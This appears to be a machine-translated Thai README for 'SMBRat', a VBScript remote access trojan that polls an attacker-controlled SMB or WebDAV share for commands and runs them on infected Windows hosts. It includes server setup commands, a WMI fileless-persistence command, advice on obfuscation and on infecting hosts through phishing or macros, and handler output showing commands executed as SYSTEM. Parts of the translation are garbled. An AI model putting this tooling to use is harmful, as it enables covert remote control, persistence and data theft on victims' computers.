เครื่องมือการดูแลระบบระยะไกลของ Windows ใน Visual Basic Script
สภาพแวดล้อม Windows เช่น Active Directory Networks เต็มไปด้วยการรับส่งข้อมูล SMB
โฮสต์ทั้งหมดได้รับ นโยบาย จาก SYSVOL การกำหนดค่าต้องใช้ไฟล์ระยะไกลจึงจะทำงานได้ ทางลัดบนเดสก์ท็อปมักจะชี้ไปที่ \somethingelseinthenetwork.exe
ไม่มีใครสังเกตเห็นความพยายามในการเชื่อมต่ออีกครั้งหนึ่ง ขวา?
- โดยเฉพาะอย่างยิ่งถ้ามันสำเร็จ (เป็นแฟชั่นที่จะตรวจสอบเฉพาะ Firewall Denies )
agent
คือ สคริปต์ Visual Basic ที่ทำงานบนโฮสต์ที่ติดไวรัสและเชื่อมต่อกับ เซิร์ฟเวอร์ SMB โดยจะสร้างไดเร็กทอรีในนั้นซึ่งตั้งชื่อตาม hostname
ของโฮสต์และที่อยู่ MAC
หลัก (พยายามทำให้ ไม่ซ้ำกัน และ ให้ข้อมูล ในเวลาเดียวกันเพื่อวัตถุประสงค์ในการรายงาน) คำสั่งและข้อมูลทั้งหมดสำหรับโฮสต์ที่ติดไวรัสจะถูกจัดเก็บไว้ในไดเร็กทอรีนี้ zip
ping ทั้งโฟลเดอร์ที่ใช้ร่วมกันจะเก็บข้อมูลโครงการทั้งหมด!
ไม่ ใช้อักษรชื่อไดรฟ์เพื่อ Mount the Share เพียงใช้ UNC paths
เพื่ออ่านไฟล์ระยะไกลโดยตรง (ไม่มีการสร้าง ไดรฟ์ ใน explorer.exe
)
นอกจากนี้ยังแทรก UNC path
ลงในตัวแปร %PATH%
ของสภาพแวดล้อมการดำเนินการของตัวเอง (คุณสามารถเรียกใช้ไฟล์ปฏิบัติการได้โดยตรงจากระบบไฟล์ของเครื่อง Linux)
agent
ได้รับการกำหนดค่าให้ ทำงานครั้งเดียว ไร้สัญชาติ .
มันเป็นกิจวัตร (มากหรือน้อย) ดังนี้:
exec.dat
ในโฟลเดอร์ที่สร้างใน SMB Sharecmd.exe /c <command>
เหมือน เชลล์แบบกึ่งโต้ตอบoutput.dat
(ถัดจาก exec.dat
)exec.dat
handler
จำเป็นต้องมี เซิร์ฟเวอร์ SMB จึงจะทำงาน โมดูล smbserver.py
จากแพ็คเกจ impacket
ของ Core Security จะดำเนินการ
ส่วนใหญ่อาจจะ smbd
ก็ทำเคล็ดลับได้เช่นกัน แต่ยังไม่ได้ทดสอบ
จำเป็นต้องแชร์ชื่อ D$
เพื่อให้ดูเหมือน SMB ของโฮสต์ Windows ที่ถูกกฎหมาย
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
เนื่องจาก agent
ได้รับการกำหนดค่าให้ใช้พาธ UNC เท่านั้น WebDAV จึงสามารถใช้กับ การเปลี่ยนแปลงเป็นศูนย์ ได้เช่นกัน แทนที่จะใช้เซิร์ฟเวอร์ SMB คุณสามารถใช้ เซิร์ฟเวอร์ WebDAV ได้ (เซิร์ฟเวอร์ WebDAV ที่ยอดเยี่ยมที่รองรับ SSL คือ wsgidav)
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
สำหรับการรองรับ SSL เส้นทาง UNC จะต้องเปลี่ยนแปลงเล็กน้อย จาก:
\<Server-IP>DIR
ถึง:
\<Server-IP>@SSL@443DIR
การเปลี่ยนแปลงนี้สามารถทำได้กับตัวแปร ServerName
agent.vbs
เท่านั้น เนื่องจากเส้นทางทั้งหมดถูกสร้างขึ้นโดยสิ่งนี้ โปรดทราบว่าใบรับรอง SSL จะต้องได้รับ ความเชื่อถือจากระบบที่รัน agent
ใบรับรองที่ลงนามด้วยตนเอง จะล้มเหลว โดยมีคำเตือน
สามารถเพิ่ม While loop ลงในจุดเริ่มต้นของไฟล์ agent.vbs
ได้ โดยมีคำสั่งดีเลย์หลายวินาที (10 วินาทีเหมาะที่สุด) และมันจะสามารถทำให้โฮสต์ windows ติดเชื้อได้โดย การดับเบิลคลิก / ฟิชชิ่ง / มาโคร Excel / ฯลฯ ...
while True
loop ใน VBS ที่มีความล่าช้า 1 วินาทีมีลักษณะดังนี้:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
อย่างไรก็ตาม หากโฮสต์ Windows เปิดใช้งาน RPC ก็เป็นไปได้ที่จะติดตั้งไฟล์ VBS เป็น มัลแวร์ที่ไม่มีไฟล์ ผ่าน WMI
และตัวอย่างแพ็คเกจอิม impacket
ที่ยอดเยี่ยมด้วยคำสั่งเช่น:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
นอกจากนี้ยังสามารถใช้เครื่องมือ WMI
ได้ด้วยการเข้าถึงภายในเครื่องเพื่อติดตั้ง agent.vbs
เป็นมัลแวร์ที่ไม่มีไฟล์
สคริปต์ Visual Basic สามารถทำให้ สับสน ได้ ทั้ง base64 และ ย่อให้เล็กลง
มันมีประโยชน์มากที่จะหมุนก่อนที่จะ "ปรับใช้"
ในขณะที่เขียนไม่มีการใช้เชลล์ ดังนั้นการใช้งานสามารถทำได้โดยใช้คำสั่งเช่น Handler
จัดการwatch
เพื่อตรวจสอบไฟล์ output.dat
:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
และ echo
เพื่อเขียนเนื้อหาลงในไฟล์ exec.dat
:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
เชลล์ทดลองทำงานดังนี้:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
การรับส่งข้อมูล ( เนื้อหา ไฟล์และ เส้นทาง ) จะถูกถ่ายโอนในรูปแบบข้อความธรรมดาหากใช้ เซิร์ฟเวอร์ SMBv1 (เช่น smbserver.py
ของ impacket
)
ตัวแทนทั้งหมดสามารถแก้ไขไฟล์ที่จัดเก็บไว้ใน Whole Share หมายความว่าพวกเขาสามารถแก้ไข exec.dat
ของเอเจนต์อื่น ๆ ได้... smbmap
จะให้ความกระจ่าง:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
-u
และ -p
ของ smbmap
นี่เป็น เซสชัน NULL (เช่น การเข้าสู่ระบบ FTP โดยไม่ระบุชื่อ) ทุกคนสามารถเปลี่ยนไฟล์แชร์ และรับ Remote Code Execution บนเครื่องที่ติดไวรัสทั้งหมดได้
iptables
ที่นี่... พิมพ์ execall netsh
และคุณสูญเสียตัวแทนทั้งหมดของคุณ ไม่มีการตอบสนองใดๆ เนื่องจาก agent.vbs
จะสร้างเชลล์ netsh.exe
และจะรอให้เชลล์ยุติการทำงาน เพื่อให้สามารถเขียนเนื้อหาลงใน output.dat
ได้ แต่เดาสิ... มัน จะไม่ ยุติ... มันจะห้อยโดยมี netsh>
ชี้ไปที่ความว่างเปล่า